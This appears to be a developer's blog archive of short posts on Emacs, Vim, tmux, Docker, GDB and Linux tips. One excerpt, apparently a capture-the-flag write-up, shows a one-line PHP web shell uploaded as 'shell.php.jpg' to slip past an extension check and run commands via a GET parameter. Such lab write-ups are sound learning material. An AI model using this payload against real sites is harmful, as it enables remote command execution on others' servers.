I’ve been browsing Emacs’s The Info Directory (C-h i) the other day and came across a menu item called Newsticker.
Turned out is a built-in RSS reader I never heard of. I know Emacs has Gnus which I tried to use as RSS reader before but didn’t succeed. Then, as probably most of Emacs users, I moved to Elfeed which is great.
Here is how Newsticker looks like:
isn’t it nice? You can open it with M-x newsticker-show-news.
I’ve been running my own Gemini capsule (web site) on my cheap DigitalOcean droplet for a few years.
For those who doesn’t know what Gemini is: is a minimal web protocol (think of HTTP).
It serves pages containing gemtext
(think of HTML) which is super minimal too.
No CSS. No JS.
The whole vibe of it reminds me of the old web that I actually never been part of but romanticised it in my head enough to be in love with it.
I have migrated this blog to Hugo yesterday.
It was fun journey and I spent about 5 hours doing it.
Recently I bought a relatively cheap laptop which I decided to use as my “Productivity Laptop”. I have Void-Linux installed and I only run Emacs and Firefox on it. There are more to it but that’s maybe a story for another blog post.
Long story short one of the outcomes of using that productivity laptop is my Gemini server written in Zig. When I wanted to write a blog post about it on the same laptop I found that I have to:
I’ve been running my Gemini capsule for a few years and also recently I got interested in Zig programming language.
Combining these two facts I came up with this Gemini Server implementation that is about 150 lines long (including comments).
Actually, the original idea was to implement it in Rust. And I started it in Rust. But after a few hours (spanned across multiple days) of writing Rust I felt like whatever I want to do is not acceptable and there is the only one correct path to do things (and Rust compiler will happily guide you).
Let’s say I have this code (TypeScript) with long camelCased variable names.
I’m ok with camelCase variables especially if this is a convention for a language. But at the same time I find it a bit difficult to read compared to underscore_case style.
Meet M-x glasses-mode
.
A beautiful minor mode that is there, built-in, since Emacs 21.
Look what it does
You probably have heard about famous emacs M-x calc
.
I always wanted to become a poweruser of it but never could. My needs are too simple for it, I just want to quickly add/subtract numbers.
Recently I’ve discovered built-in M-x quick-calc
which is perfect for what I need. It is already bound to C-x * q
.
You can quickly calculate what’s needed
and the result is going to be saved to the kill-ring. You can paste the result in place if you want by prefixing the command with C-u
.
I sometimes work with long functions or big org subtrees and it’s not always clear what function or org subtree I’m in right now. I wish there is a package that can show me what function I’m in.
Turns out Emacs has this mode built-in so this functionality is just M-x which-function-mode
away.
It shows in the status line a function name I’m currently in (see [encode_terminal_code]
on the screenshot above).
It’s global mode so as soon as it’s enabled, you’ll see it’s working for every buffer.
You can have it enabled on Emacs startup by adding (which-function-mode)
to your config file.
I just started to get benefits of this mode but it’s already surprising how well it works:
I can’t connect to port 25 anymore. I noticed it in a Laravel application but the issue exists for everyone.
nc -vvv sandbox.smtp.mailtrap.io 25
just doesn’t connect.
It’s been an issue for a few weeks now.
To fix it just change the port 25 to 2525 (this one doesn’t require TLS).
Just run this:
composer install --ignore-platform-req=php
I often have an issue when after upgrading PHP to a newer versions I can’t do composer install
anymore because one or more libraries haven’t updated their require.php
section to support
newer version of the language.
Moreover, even if you manage to install new versions of those libs you still may have other projects on your machine that require older version of php (my case).
Sometimes I use C-x C-b
to get list of buffers so I can
clean it up a little after some time.
To do it I mark some buffers with d
(to delete) and then press x
.
Today I wanted to filter that list of buffers to a particular project/folder and turned out I can’t.
There is no way to filter *Buffer List*.
If you look up for Buffer Menu in EmacsWiki you’ll find the Enhancements section which mentions IBufferMode
which is built-in since Emacs 22.
We all need to search in files sometimes, right?
I usually do it using grep -ri 'search term' .
in the terminal (often in vterm-mode)
and then I either open the file(s) in Emacs or in any other program.
But Emacs has better solution to it.
There is M-x find-grep-dired
already built-in to Emacs.
If you call it from Dired buffer it will auto-complete the current folder
and then you just need to enter the search term.
This is more of a joke post.
Weechat is incredible, terminal based IRC client, that I wanted to install recently on my FreeBSD instance.
It’s lightweight.
Here is log from my pkg install weechat
:
[user@server]# pkg install weechat
Updating FreeBSD repository catalogue...
FreeBSD repository is up to date.
All repositories are up to date.
The following 18 package(s) will be affected (of 0 checked):
New packages to be INSTALLED:
aspell: 0.60.8_1,1
glib: 2.72.2,2
gmp: 6.2.1
gnutls: 3.7.6
libedit: 3.1.20210910,1
libiconv: 1.16
liblz4: 1.9.3,1
libtasn1: 4.18.0
libunwind: 20211201_1
lua52: 5.2.4
nettle: 3.8
p11-kit: 0.24.1_1
pcre: 8.45_1
perl5: 5.32.1_1
ruby: 3.0.4_2,1
tcl86: 8.6.12
weechat: 3.5_2
zstd: 1.5.2
Number of packages to be installed: 18
The process will require 219 MiB more space.
40 MiB to be downloaded.
Proceed with this action? [y/N]:
219 MiB - isn’t it funny? I think it is.
Slack *.dmg
file for MacOS takes 168 MiB.
Surprisingly for me I just discovered that Emacs Lisp has equivalent
of Clojure’s ->
and ->>
macros.
And I’m not talking about dash.el
. I’m talking about built-in thread-first
and thread-last
.
If you’re not familiar with these beautiful macros, the main goal is to pipe a value through multiple functions and return the result.
->
passes a value as first argument of next function, then takes the result and passes it as first argument to next function, etc.->>
does the same except that it passes the result as next function’s last argument
It has been almost a year since I started to use Org-Roam. I initially migrated from Obsidian even though I was incredibly happy with it.
Recently I started to take more notes than usual and noticed that Org-Roam has some issues that for me aren’t critical but disturbing.
There is just no something like M-x org-roam-search
.
I’m pretty sure there is no such thing because it’s Emacs and you can search any directory you want very quickly
using built-in grep
, rgrep
or other tools like that.
And of course you can make a function off of that and then bind it to a key chord you like.
By default only the tags directly attached to an org record will be saved in the archive file. I want to keep all the tags attached to an org record when I archive it, even the inherited ones.
In org-mode tags are inherited by default. In case of org tree like this:
* Header1 :tag1:
** Sub Header1 :subtag1:
you may find that Sub Header1 has :tag1:subtag1:
tags attached to it.
Just a quick note on how easy it is to actually navigate Doom Emacs documentation and modules.
I initially was a little afraid that I will not be able to understand what each Doom module does and there always will be some hidden functionaltiy that will be hard for me to find.
Fortunately there is M-x M-x doom/help-search-headings
that allows me to search through
Doom documentation. Specifically it allows me to search through org headings of the documentation.
I’m trying to get used to Doom Emacs and one issue I have is that LSP (in my case Eglot) starts automatically when I open up a php project.
I don’t really like it because sometimes I open php files that I don’t need autocompletion for and I don’t want to remember that there is Eglot process now running that I have to stop to save some resources of my laptop.
Almost a year ago I already tried to start using Doom config which I eventually replaced with my own vanilla config.
Today I decided to try it once again. I also wanted to use it in Evil mode to make my hands feel better.
One of my main pain point with someone else’s config is that I don’t know how to handle it, what options are available and why things work in the way they do.
If you didn’t know, there are two methods of archiving subtrees in Emacs’ Org-mode.
I often use the latter but the issue here is that all my items got disappeared from Org Agenda view when archived.
You can tell Org Agenda to show archived records by pressing
v A
in *Org Agenda*
buffer.
Notice upper-cased A
. If you use lowercase a
then only internally
archived records will be shown.
So I just discovered wgrep
mode of a grep buffer in Emacs and it’s incredible.
I often use projectile-ripgrep
if I need to find something in the project I’m working on.
But if I wanted to rename some variables or strings that I grepped I had to go and manually update them or use something like
projectile-replace
.
But turns out there is wgrep
mode that is available from projectile-ripgrep
(*rg*
) buffer or from *grep*
buffer.
I just built emacs-plus@29 on my MacOS using --with-native-comp
just
to see what it is and how it works.
I’ll talk about my impression of it later. Let’s start with the issue.
I use straight.el + use-package and as soon as I started my new Emacs instance I’ve got this:
Debugger entered--Lisp error: (void-variable native-comp-deferred-compilation-deny-list)
straight--build-native-compile((:type git :host github :repo "radian-software/straight.el" :files ("straight*.el") :branch "master" :package "straight" :local-repo "straight.el"))
straight--build-package((:type git :host github :repo "radian-software/straight.el" :files ("straight*.el") :branch "master" :package "straight" :local-repo "straight.el") nil)
#f(compiled-function () #<bytecode 0x13b193a2e77f4e46>)()
straight--transaction-exec(use-package-\"c809124e9c5270ea1c72e2c3507331d1\"-nil-nil :now #f(compiled-function () #<bytecode 0x13b193a2e77f4e46>))
straight-use-package((straight :type git :host github :repo "radian-software/straight.el" :files ("straight*.el") :branch "master"))
load-with-code-conversion("/Users/krydos/.emacs.d/straight/repos/straight.el/..." "/Users/krydos/.emacs.d/straight/repos/straight.el/..." nil t)
load("/Users/krydos/.emacs.d/straight/repos/straight.el/..." nil nomessage)
(let ((bootstrap-file (expand-file-name "straight/repos/straight.el/bootstrap.el" user-emacs-directory)) (bootstrap-version 6)) (if (file-exists-p bootstrap-file) nil (save-current-buffer (set-buffer (url-retrieve-synchronously "https://raw.githubusercontent.com/radian-software/..." 'silent 'inhibit-cookies)) (goto-char (point-max)) (eval-print-last-sexp))) (load bootstrap-file nil 'nomessage))
load-with-code-conversion("/Users/krydos/.emacs.d/init.el" "/Users/krydos/.emacs.d/init.el" t t)
load("/Users/krydos/.emacs.d/init" noerror nomessage)
startup--load-user-init-file(#f(compiled-function () #<bytecode 0x155c027c85bc7d>) #f(compiled-function () #<bytecode -0x1f3c61addc0da035>) t)
command-line()
normal-top-level()
It looks like for some reason straight.el expects native-comp-deferred-compilation-deny-list
variable available in Emacs while
this variable was renamed to native-comp-jit-compilation-deny-list
.
This is something I came across recently.
I wanted to search for #todo
using M-x consult-grep
.
My initial #todo
query didn’t work obviously because #
sign in consult
is a punctuation character as they call it.
I didn’t really want to change #
sign as a punctuation character because I used to it.
I’m not also sure if there is such an option (read til the end to find out why)
If you’re a former Vim user there is one feature I couldn’t find in any other editors.
Not sure what is the proper name of it but let’s call it change inside something.
Example (|
- is a cursor):
function() {
return 'hello |world'
}
If I press ci'
the result is going to be:
function() {
return '|'
}
or ci{
:
function() {|}
That’s incredibly useful feature because I don’t really need to think where my cursor is. I just place it somewhere around the place I need to remove and press that magical keybinding.
If you want to test webhooks locally you probably use Ngrok or Localtunnel. I do.
Recently I wanted to play with Instagram webhooks and I couldn’t because surprisingly
Facebook do not accept Ngrok and Localtunnel URLs anymore and marks them as
malicious and/or abusive
.
I don’t really understand why Facebook blocked the only known solutions of local webhooks testing.
Fortunately I have a server and a domain name.
What we’ll need:
I recently started to appreciate light theme again. Feels great during a day light.
Still, I like the dark mode too but now I just want to see it at night.
And fortunately, for those who likes both themes, there is a mode called “Auto” in the MacOS settings.
Hooray! Problem solved.
In case you haven’t configured Night Shift feature then it’s not going to work.
Trying out eglot at the moment on a php project I have and unfortunately it doesn’t work out of the box.
The issue is that my PHP project is based on PHP8 and php-language-server is pretty old server that doesn’t support new php versions.
There are bunch of other LSPs for PHP and I would like to play with Phpactor which I never used before.
Fortunately eglot supports any LSP server and Phpactor has one too.
Hledger is a text based accounting tool. It’s very similar to Ledger (hence the name).
Emacs has great ledger-mode
but if you use Hledger you’ll definitely get some issues.
here is my use-package
block where most of the issues are solved
(use-package ledger-mode
:straight t ;; or :ensure t
:init
(add-to-list 'auto-mode-alist '("\\.\\(h?ledger\\|journal\\|j\\)$" . ledger-mode))
(setq ledger-binary-path "path-to-fix-hledger-script.see-below")
(setq ledger-mode-should-check-version nil)
(setq ledger-report-links-in-register nil)
(setq ledger-report-auto-width nil)
(setq ledger-report-native-highlighting-arguments '("--color=always"))
(setq ledger-highlight-xact-under-point nil)
(setq ledger-default-date-format ledger-iso-date-format))
There an error appears when you try to add a new transaction that says xact
isn’t available.
xact
is a tool that comes with ledger but it doesn’t exists in hledger package.
Immediately few things to mention.
First: we’re going to talk about Tabs as in “UI element”. Not indentation.
Second: Tabs in Vim and Emacs are not supposed to be used as tabs in many other editors.
Vim tabs aren’t supposed to be tabs similar to other editors where you have a file per tab and then switch those tabs with your mouse (???!). There are buffers for that.
In my previous post I’ve been talking about Doom config and that it is great and all but I find it really difficult to fix issues there. Doom has a lot of its own configuration, hooks here and there and functions that modifies standard behavior.
It’s probably much easier to go with my own config. I never could stick to spacemacs or doom. I couldn’t stick to similar configs in Vim too. Probably issue on my end :)
Add detach-keys = "ctrl-@,ctrl-q"
to [engine]
section in ~/.config/containers/containers.conf
file
I recently switched to Podman and the only issue I faced is CTRL+P won’t work properly inside containers.
That’s exactly the same issue I had with Docker, described in my Docker detach keys post.
The solution from that post doesn’t work since it was purely docker-specific configuration file.
In case of Podman the configuration file is ~/.config/containers/containers.conf
.
The line that must be added is detach_keys = "ctrl-@,ctrl-q"
(feel free to choose any other sequence).
I do change my workflow from time to time to keep myself in shape.
Now, once again, I’m trying to switch back to Emacs. This time I decided to go with Doom. I already tried to install use it but it didn’t work well for me and I didn’t bother to change the configuration.
That’s something I used ag
for in my Vim. I could easily look for a word under the cursor everywhere in the project.
service
is less functional wrapper around systemctl
command on systemd based distros.
I’m a long time Linux user and got a habit to start/stop things using service
command.
I never really thought about what exactly it does. I mean, I know I can start Apache or something else with it and it’s something related to init system of my distro.
Usually when you install Apache or PHP-FPM those things become recognizable by service
command and you can call service program start
when you want to start a service.
I add a Makefile to every project I work with. I don’t usually work on C/C++ projects or any other compiled languages but Makefile is good to make aliases for long commands.
Here is an example of short version of Makefile I use:
.PHONY: up
up:
docker-compose up -d
.PHONY: logs
logs:
tail -f ./storage/logs/*.log
There are set of aliases / mnemonics that I used to:
There is only one form that accepts a file.
The validation of the file is based on extension so we can try and upload shell.php.jpg
image with content like this:
<?=`$_GET[0]`?>
When image is uploaded we see the page like this:
Click on See image and we see a blank page with some strange PHP errors. It’s because our “image” expects get param called “0” so let’s add one.
The image above is what we see when visiting the challenge URL (104.197.195.221:8087
)
That’s strange. Initially I thought the site is down but it’s fine.
Let’s try to connect with NetCat and see what the server tell us and why browser can’t display it.
nc -vvv 104.197.195.221 8087
and response we get back is:
221.195.197.104.bc.googleusercontent.com [104.197.195.221] 8087 (?) open
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
Doesn’t look like valid HTTP resopnse lol. Ok now we know that SSH server is running on that port so let’s try to connect.
let g:fugitive_summary_format = "%<(16,trunc)%an || %s"
Vim-Fugitive is a great package. Recently I started to use :Glog command a lot to look at range of changes added to a branch after git pull.
:Glog <hash>..<another hash>
By default the command only shows a commit hash and its subject.
I really wanted to see how can I show a commit author name as well.
Sometimes in mb_convert_encoding($str, 'UTF-8', 'auto')
that latest auto
argument won’t work.
To find what charset the string is using you can get all possible charsets, convert your $str
into that charset and print it:
foreach(mb_list_encodings() as $charset) {
echo mb_convert_encoding($str, 'UTF-8', $charset) . ' ----- ' . $chr . "\n"; 2 }
}
This code may not work for some charsets returned by mb_list_encodings()
. You can ignore some of them like this:
foreach(mb_list_encodings() as $charset) {
if (in_array($chr, ['pass', 'wchar', 'byte2be', 'byte2le', 'byte4be', 'byte4le', 'BASE64', 'UUENCODE', 'HTML-ENTITIES', 'Quoted-Printable', '7bit', '8bit'])) {
continue;
}
echo mb_convert_encoding($str, 'UTF-8', $charset) . ' ----- ' . $chr . "\n"; 2 }
}
Of course it’s only applicable if you know that $str
will always be in the charset you found.
The title is a little bit misleading though. I have almost nothing dev related on my Windows machine and use Linux VM instead.
Here is the components my dev environment consists of:
The actual product doesn’t matter here. As I mentioned earlier VirtualBox would work as well. I use VMware because I used to it and I blindly believe in rumors that it is faster than VirtualBox.
If you want to know the handler of a particular route you need to run this in your terminal:
php artisan route:list | grep 'route.name'
Replace route.name
with your route name.
In most cases all routes are defined in files from routes/*
folder but some routes are defined in Laravel itself or some libraries may define its own routes as well.
So in case you want to override some actions from internal controllers just use that command above to understand what exactly you need to override.
I’m on Ubuntu 18.04 having PostgreSQL 10.10 installed. For testing I had to run PostgreSQL 9.5 along with 10.10.
If you don’t know how to install version 9 on Ubuntu 18.04 check this doc on postgres site.
To install version 9.5 just run:
sudo apt install postgresql-9.5
That’s it. You should not face any other issues.
I’ve been always starting postgres instance with sudo service postgresql start
but now,
when we have two different version we should use:
Vim’s autocmd is very powerful feature.
In my workflow I have many of them including autocmd for BufWrite.
There are rare cases when I want to save file and ignore any autocmd.
To do this you can just save it by:
:noa w
Of course there can be any command after :noa
.
Check :h noa
for more details.
Here is few lines you need to add to your .bashrc/.zshrc/.whatevershellrc:
if [[ -z "$TMUX" ]] && [ "$SSH_CONNECTION" != "" ]; then
tmux attach-session -t mysession || tmux new-session -s mysession
fi
These lines check if tmux session mysession
is exist then we tmux attach-session
is executed. Otherwise new session with mysession
name is created.
Replace mysession
to something more meaningful.
Just met this nice article by Laurie Voss called You suck at technical interviews
.
Here is TL;DR from there:
Here is the link to original post
Today I decided to port my Firefox extension to Google Chrome.
Meet Youtube Hide Opinion For Chrome.
Turned out, I should change nothing in the extension to make it working in Google Chrome (thanks to Browser Extensions specification)
Now to kill the good feeling I have to say that to publish the extension to WebStore I had to make $5 one-time payment. Pretty symbolic payment but still feels foreign while publishing open source code.
Watching videos on Youtube I’ve noticed I influenced a lot by paying attention to a video rating. For example if rating is negative I initially treat a video as unprofessional or even stupid.
I tried to ignore a video rating but it’s pretty hard so I decided to build a browser extension that should hide the rating.
So meet Youtube hide Opinion the Firefox extension.
As you can see you still can up/down vote a video but you don’t see it’s rating.
Turned out I use git grep
a lot with my VIM (using EasyGrep
plugin). At some point this plugin just stopped to show me all the available results.
Due to lack of explicit git grep
usage it was pretty mysterious.
The reason is that git grep
doesn’t search in untracked files.
If you want to search in untracked files too just add --untracked
option to the command like this:
git grep --untracked SomethingILookingFor *
hey,
I currently use Windows machine but I do programming inside Linux virtual machine and inside MacOS driven laptop (some iOS specific stuff) which is in the same room where I am and connected to the local network.
Since I develop in Vim I use SSH connection to run Vim instance directly on MacOS machine. If I need anything graphical (like Xcode) I use VNC client.
SSH connection is super non-stable. It’s pretty painful to use Vim with very slow connection. If I try to ping my MacOS laptop I can see clearly some ping spikes. Usual ICMP travel time is about 3ms but sometimes I get 700ms or 1000ms. Insane.
Sometimes my VNC client just shows me Mac’s login screen with infinitely loading animation. If it happens for you too, you can try to login via SSH and run this command:
sudo pkill loginwindow
Now you can try to connect trough VNC and it should work.
Basically it just kills the process of login window and MacOS just runs it again automatically.
Hi everyone,
I was looking for an app that should allow me to set a quick reminder without any additional functionality.
The one was found, it is at
binary which is available by default on most (if not all) Linux
distributions (checkout man at
).
Shortly, the at
command allows you to specify a command and time you want to run that command at.
What I want, is to get a notification at some special time.
For notifications we can use notify-send
,
but since I’m currently on Windows and use WSL, we will use my wsl-notify
script
(checkout for notify-send replacement for WSL post)
Hi,
Unfortunately there is no way currently to make brilliant notify-send
work on WSL.
The workaround is to install BurntToast which is
powershell
module (or command) that allows you to show native notifications.
After it’s installed we can write a script that can execute PowerShell “cmdlet” from within WSL.
So when BurntToast is installed let’s create a super simple bash script (name it like wsl-notify
)
#!/usr/bin/env -bash
powershell.exe "New-BurntToastNotification -Text \"$1\""
Give our wsl-notify
execution rights (with chmod +x wsl-notify
) and move it to /usr/bin
folder with mv wsl-notify /usr/bin/
Sometimes it’s annoying to get those warnings while you work on the layout stuff.
Based on RN documentation you can turn them off by setting:
console.disableYellowBox = true;
You can put it inside your App.js file. I don’t suggest you to commit this but as temporary string is definitely acceptable.
I have to note it, it’s just brilliant!
If you want to format a JSON file opened in Vim then just run
: %!python -m json.tool
Stolen from this awesome post - Format JSON in Vim using Python’s json.tool module
Hi,
if you use tmux you could notice that every time you create new window it starts in the directory where you initiated your Tmux session.
Usually I start my Tmux at home directory but when I work for a project I like to have all my windows to be opened in this particular project.
Sure I can close the session and start the new one from the project directory but… no.
Hi, I didn’t use folding functionality previously at all in any other editors, but after I watched this awesome video by Greg Hurrell I found this Vim feature super useful.
So to start getting all benefits from Vim folding just add this to your .vimrc
:
set foldmethod=indent
set foldlevelstart=1
What these lines do is:
set foldmethod
- setting the folding method. indent
is actually works mostly for all programming
languages. There are other options though (see :h fold-methods
)
hi everyone,
I’m currently using Vim in my day to day work, and if you don’t know I migrated from another perfect editor called Emacs.
It was pretty easy to migrate since I used evil-mode in Emacs but the only library/plugin I miss is dumb-jump which is brilliant because allows you to jump to definition without any CTAGS/GTAGS.
There is brilliant guy Chris Paul who made dim-jump
plugin which does the same as dumb-jump
.
Hey, I’ve just been looking for a good plugin that can help me to configure some VIM variables per project.
For example I want set shiftwidth=2
for my JavaScript project and set shiftwidth=4
for PHP one.
Turned out no plugin needed.
Just put this to your .vimrc
:
silent! so .vimlocal
Now if you put .vimlocal
file to your project root, it will be sourced and “executed”.
silent!
is using to supress warnings when there is no .vimlocal file in a directory.
If your web site isn’t receiving the notifications from Ebay even though you have everything configured AND you’re using oAuth tokens for SetNotificationsPreferences
request then you have nothing to do except contact the Ebay support.
Currently they have a special whitelist where they have to add your APP ID
and the only way to add your app to that whitelist is to contact them.
You can actually try to post a thread on their forum, but in this case you have to wait while someone form ebay staff will notice it.
I’m currently trying to use Vim instead of Emacs and one of important workflow I’ve used to is grepping things in a project.
There are few options:
:vimgrep something **/*
. It’s pretty long to type so I don’t really like it.My config looks like this:
let g:EasyGrepCommand="grep"
let g:EasyGrepRoot="repository"
let g:EasyGrepRecursive = 1
let g:EasyGrepFilesToExclude = "vendor,docker,node_modules"
By default EasyGrep use vimgrep
which is not able to ignore folders as far as I got.
I’m not a huge fan of questions on interviews similar to:
Live coding is not something I like as well due to some reasons.
What really helps me to understand how good candidate is, is to discuss some real situations with him/her.
Below is one hypothetical projects to discuss with a candidate.
If you didn’t look at Part 1 of this post please check it out.
Given a news site and its admin area. In admin area there are many users. Each user can edit a news-post.
Our goal is to make sure only one user can edit a post even if multiple users are visited the same news-post for editing. Users visited a news-post after the first user should see the “someone else is editing the post” message.
Hi everyone,
so here are two basic commands you can wrap in functions or anything else to run/stop VM of VMWare Workstation.
Important note, all commands are for Windows. They should work for other systems I guess with minimal or no changes.
vmrun -T ws start "C:\vms\workstation.vmx" nogui
nogui
option in this case forces the vmrun NOT to open the GUI window.
workstation.vmx
is a file, usually is the same as your VM name.
The Windows 10 search is not working. No results. Infinite loading.
Reinstall Cortana (even if you don’t use it at all)
powershell
(with win+r and type powershell
)Get-AppXPackage -Name Microsoft.Windows.Cortana | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register "$($_.InstallLocation)\AppXManifest.xml"}
It should take couple of seconds.
There are other solutions related to folders permission and registry keys but non of them did help.
Hey,
https://github.com/KryDos/laradock-helper is the project repo.
Since recently I work mostly with Laravel and run it with Laradock I’ve came up with some Makefile targets I use constantly instead of running some commands manually.
Like an example are migration or seed commands, or commands to join php container I can call just
make run-migrations
or make join-php
which is faster.
Hope it can be useful for someone else too.
Hey everyone.
Here is the Github page of the project. You can download releases from there as well.
These are the only keybindings I need. If you need anything else let me know.
I thought it should be good idea to have Todoist opened as an application instead of tab in a browser.
Hey, recently I’ve posted about jq and today I’m going to explain how I used it to parse JSON from web (retrieved with CURL) and turn it to CSV.
First of all let’s see what JSON we have:
{
"data": [
{
"short_data": {
"name": "value1",
"link": "value2"
},
"long_data": {
"company_name" "value3",
"company_position" "value4"
}
},
{/*...*/},
{/*...*/},
{/*...*/}
]
}
Ok, the CSV we want to get is:
Hey,
Recently I wanted to create separated “window” for my weechat so I can easily alt-tab to it.
I’ve wrote the .desktop file and place it to ~/.local/share/applications
so
gnome-shell (I’m on ubuntu 17.10) will show me it.
And it did, BUT when I start the weechat the icon turned to “terminal-like”.
Hm…
Ok, there is terminals like xfce4-terminal
that allows to set custom icon
when terminal is starting… so let’s try
Hey,
Sometimes I check HTTP responses with CURL so it would be great to format JSON responses.
There is cool command line JSON parser and you can pipe CURL output to it like that:
curl http://some.endpoint/with-json-response | jq '.'
I’ve wrote useful function called jcurl
that is basically wrapper on that command above:
function jcurl() {
curl "$@" | jq '.'
}
P.S.
Don’t forget to source your (bash|zsh|any)rc
.
Hey. Recently I’ve tried to CURL something like this:
curl 'http://localhost?q[param]=value'
and I got [globbing] bad range in column
error from CURL.
This one is unexpected since I was thinking that using single quotes
do not require any escaping. To find a workaround you can check man curl
and
seek for globbing
.
So the solution is -g
option:
curl -g 'http://localhost?q[param]=value'
P.S.
Sure you can manually escape square brackets but if your url is pretty long it can take some time.
I’m on Ubuntu 17.10 right now and sometimes after suspend I’m getting no sound and only dummy device available.
pulseaudio -k && sudo alsa force-reload
- execute this to fix the issue.
Hi,
Switching from Gnome3 to AwesomeWM I’ve noticed that key repeat frequency is lower on AwesomeWM.
To fix this you can use xset
tool (check man xset
). The tool allows you to
set various options for x server. Key repeat frequency is one of those.
Just execute this in your terminal xset r rate 220 25
and
you will immediately see the effect. Find the best parameters for you and
then add this line to your rc.lua
(if you don’t know where to add it just add it to the bottom):
Hey,
sometimes I accidentaly print binary file with cat <thefile.bin>
and my
terminal is getting broken after that due to printing of some escape characters.
To fix it you can use reset
command. Checkout the man reset
to get more info about this command.
If you like me and use CTRL-P/CTRL-N instead of arrow keys to navigate through command history, you should be disappointed on how CTRL-P works in docker terminal (the one you see after docker run, docker exec).
It turned out CTRL-P is used for what they call detaching from terminal, which I didn’t know about even.
So basically when you press CTRL-P the terminal is waiting for another key press (CTRL-Q in current case). That’s why CTRL-P works in strange way.
Recently I wanted to print disassembled main funciton of the program to the file
so I can read it in my Emacs, but it turned out I can’t simply redirect the GDB output
to the file with disassemble main > main.asm
command in gdb command line.
But there is -ex
option exists in gdb command so we can execute some gdb commands
right after gdb is initialized.
Looks like this:
Hey everyone.
I already have a post about GDB Dashboard package which is cool but I’ve just found somethine even better.
Meet PEDA. It looks really awesome. I wasn’t able to try all the commands it provides but the interface looks pretty awesome.
It shows stask in realtime which Dashboard package lack. Not just showing addresses but also strings if any of them are on the address.
Now my GDB looks like debuggers I have used to before like OllyDbg.
Hey, just found a command for gdb that prints a string from memory address.
Looks like this x /s <addr>
. Very useful if you need to print out the string that is in memory somewhere.
Previously I’ve used other flags to print for example hex values but was pretty hard to read. Glad there is special solution in GDB for this.
Here is post about how to make circled image with css. I have to note it since I can’t remember how css works in general and can’t force myself to learn it.
Here is the result:
I was trying to use just border-radius
but it’s not super great since it doesn’t allow
us to center the content of image.
Solution is class similar to this one:
.img-circular {
width: 50px;
height: 50px;
background-size: cover;
display: inline-block;
border-radius: 50px;
background-position: center;
}
Of course you also have to set background-image: url(<the url>)
for your image.
I do it with style
attribute directly. Here is how the element code looks like in general:
If you use GDB you definitely have to try Dashboard package by Andrea Cardaci.
Here is how it looks like:
Looks very nice, it updates itself each time when you step
or do another action.
It was confusing why Memory area is empty by default and shows nothing even when I try to x <memory>
.
It turned out I have to tell dashboard to watch for particular area of memory. Here is how to do it:
Recently I’ve switched through a lot of different OS setups and my projects list in Spacemacs was bloated.
Some projects were from MacOS, others were from Windows. All of them were not existed anymore.
I’ve tried to find a file where Emacs (Spacemacs) stores list of projects but I’ve found even better elisp function for this.
Just call M-x projectile-cleanup-known-projects
and every path (project) that is not exists
on your current machine will be removed from the list of known projects.
Really, really awesome blog post from Julia Evans about working remotely.
She has described every worry I have and explained how she managed work over them.
Just found out her blog and it seems very interesting in general.
Here is command to run from CLI to get ifconfig
output on guest machine (with ubuntu server):
vboxmanage guestcontrol <vm name> run --exe '/sbin/ifconfig' --username <username> --password <pass>
You can write shell function to simplify the call:
function vbox-get-ip() {
if [ -z $1 ]; then
echo "pass VM name"
return
fi
vboxmanage guestcontrol $1 run --exe '/sbin/ifconfig' --username <username> --password <pass>
}
Sure you can execute other commands on the host. Just make sure you pass full path to the binary.
I use VirtualBox and do some testing and learning with multiple machines running at once.
Usually those machines are servers so I don’t really need the GUI since I connecting to them using SSH clinet.
When VirtualBox is installed you’ll see VBoxManage
executable (vboxmanage
is also there as alias) which is CLI tool
that allows you to interact with your VMs.
Here is a command how you can start VM in headless mode:
Hey,
Just switched to Firefox and tried to find the way how I can replace the start page.
The only way I’ve found is use New Tab Override extension. It allows to set custom html I want to use for start page but other files like css/js and fonts should be linked.
I don’t have them anywhere except my Dropbox and of course usual dropbox link isn’t working since it opens Dropbox’s page where I can download the file itself.
Hey,
recently I’ve switched to Windows and trying to adapt WSL (linux subsystem) to make it play together with my habits.
This time the issue was Tmux starting bash when I need ZSH. No matter what shell was set by chsh -s
command Tmux was don’t care.
The thing I found on stackoverflow is setting default-shell
option of Tmux to /bin/zsh
(in my case).
Here is what you need to add to your ~/.tmux.conf
:
Hey,
Recently I had to use bash alias that contains $(pwd)
inside so I’ve defined it like that:
alias thename="something $(pwd) --option=value"
Of course I know a bit of bash so that’s why I use double quotes!
But it turned out to be wrong. Each time when my bash/zsh was opened the alias was defined with INTERPRETED $(pwd)
which is the directory where bash was opened (usualy home dir).
Hey.
While I’m on Windows I do use Docker for Windows. It’s running on my host machine but I’m running docker commands from WSL (Windows Linux subsystem).
While running it from there the volumes I’m trying to mount into the container won’t work.
So the solution is (assume everything you want to mount is on disk C):
sudo mkdir /c
- to create a directory named c
sudo mount --bind /mnt/c /c
- mount existing /mnt/c
into /c
cd /c/path/to/project
- go to the projectdocker run -it -v $(pwd):/project node bash
- it WORKS!The solution has been found here - https://github.com/Microsoft/WSL/issues/1854
Hey.
I mostly use PHP or Node.js and sometimes I have to touch Ruby projects.
I know I can run bundle install
to install deps from Gemfile but I was unable to find them in the project directory.
It turned out the reason is they are installed globally. It doesn’t fit my needs sometimes so I had to find the way to install them locally.
They solution is:
bundle install --path=./local-dir-name
it will install packages into local directory but you were not be able to call binaries. Ok…
Here is small note about the target I put in every Makefile I have.
The target is called list
and looks like this:
.PHONY: list
list:
@$(MAKE) -pRrq -f $(lastword $(MAKEFILE_LIST)) : 2>/dev/null | awk -v RS= -F: '/^# File/,/^# Finished Make data base/ {if ($$1 !~ "^[#.]") {print $$1}}' | sort | egrep -v -e '^[^[:alnum:]]' -e '^$@$$'
It prints list of all targets defined in your Makefile.
Took it from this brilliant stackoverflow answer
Hey,
So your SSH session has been frozen? Here is what I was doing when it happened.
The actual thing that should be done is press:
Enter
~
(tilda).
(dot)Welcome back to your local machine.
The actions performed are called Escape Sequence.
SSH is just a shell tunnel between you and another machine. The SSH client pass all keys sequence, including key bindings, to the server.
Hi everyone.
Here is my notes about restclient
that can help you to forget about Postman
(which is cool as well).
Here is the example:
#
# get all people from star wars
#
GET https://swapi.co/api/people
To define an action you need to start with a comment.
Then you need to set method (GET, POST, PUT and other) and the url of course.
Now you can execute the query. Press C-c C-c
(CTRL+c twice) and new buffer (*HTTP Response*
) with the result will be opened.
Projectile is great Emacs package you definitely have to install if you didn’t.
